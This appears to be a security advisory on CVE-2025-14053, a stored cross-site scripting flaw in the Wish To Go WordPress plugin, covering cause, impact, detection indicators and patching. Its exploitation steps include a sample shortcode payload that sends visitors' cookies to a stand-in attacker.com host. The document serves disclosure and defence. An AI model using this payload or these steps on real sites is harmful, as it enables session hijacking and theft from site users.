CVE-2025-14053: 
WordPress vulnerability analysis and mitigation

CVE-2025-14053 is a Stored Cross-Site Scripting (XSS) vulnerability in the "Wish To Go" (Travel Bucket List) plugin for WordPress. It affects all versions up to and including 0.5.2, caused by insufficient input sanitization and output escaping on user-supplied shortcode attributes. The vulnerability was disclosed on January 7, 2026, with Wordfence as the reporting CNA. It carries a CVSS v3.1 base score of 6.4 (Medium) (Wordfence).

The root cause is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-Site Scripting). The vulnerability exists in the plugin's shortcode handler, where user-supplied attributes are neither sanitized on input nor escaped on output before being rendered in page content (see line 124 of wish-to-go.php). An authenticated attacker with at least Contributor-level access can embed a malicious shortcode containing arbitrary JavaScript into a WordPress page or post; the script executes in the browser of any user who subsequently visits that page (Wordfence, Plugin Source).

Successful exploitation allows an authenticated contributor to persistently inject malicious scripts into WordPress pages, affecting all site visitors who load the compromised content. Potential consequences include session cookie theft, credential harvesting, redirection to malicious sites, and defacement of page content. Because the injected script executes in the context of the victim's browser session, it can also be used to perform unauthorized actions on behalf of authenticated users, including administrators, leading to potential full site compromise (Wordfence).

No public exploit code or active in-the-wild exploitation has been reported for CVE-2025-14053. The EPSS score is approximately 0.029% (0.000290), indicating a low probability of near-term exploitation. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. Exploitation requires at minimum a Contributor-level WordPress account, which limits the attack surface compared to unauthenticated vulnerabilities (Wordfence).

1. Obtain Contributor Access: Register or compromise a WordPress account with at least Contributor-level privileges on the target site running Wish To Go plugin version ≤ 0.5.2.
2. Create or Edit a Post: Navigate to the WordPress editor and create a new post or edit an existing one where shortcodes are permitted.
3. Inject Malicious Shortcode: Insert a Wish To Go shortcode with a crafted attribute containing a JavaScript payload, for example: [wish_to_go attribute="<script>document.location='https://attacker.com/steal?c='+document.cookie</script>"].
4. Publish the Page: Submit or publish the post. The unsanitized attribute value is stored in the database and rendered unescaped when the page is generated.
5. Trigger Execution: Any user (including administrators) who visits the injected page will have the malicious script execute in their browser, enabling session hijacking, credential theft, or further attacks (Wordfence, Plugin Source).

• Logs: WordPress access logs showing POST requests to wp-admin/post.php or the REST API from contributor-level accounts containing encoded script tags or JavaScript event handlers in shortcode parameters.
• Database: Unexpected <script> tags, javascript: URIs, or HTML event attributes (e.g., onerror, onload) stored within post content or meta fields associated with Wish To Go shortcodes.
• Network: Outbound requests from site visitors' browsers to unfamiliar external domains shortly after loading pages containing Wish To Go shortcodes, potentially indicating data exfiltration.
• File System: No direct file-system artifacts expected, as the payload is stored in the WordPress database rather than the file system.

Site administrators should update the Wish To Go plugin to version 0.5.3 or later, which addresses the insufficient sanitization and escaping of shortcode attributes. As an interim measure, restrict the ability of untrusted users to publish or edit content containing shortcodes, or temporarily disable the plugin until patching is feasible. Reviewing existing posts for unexpected script content in Wish To Go shortcode attributes is also recommended (Wordfence).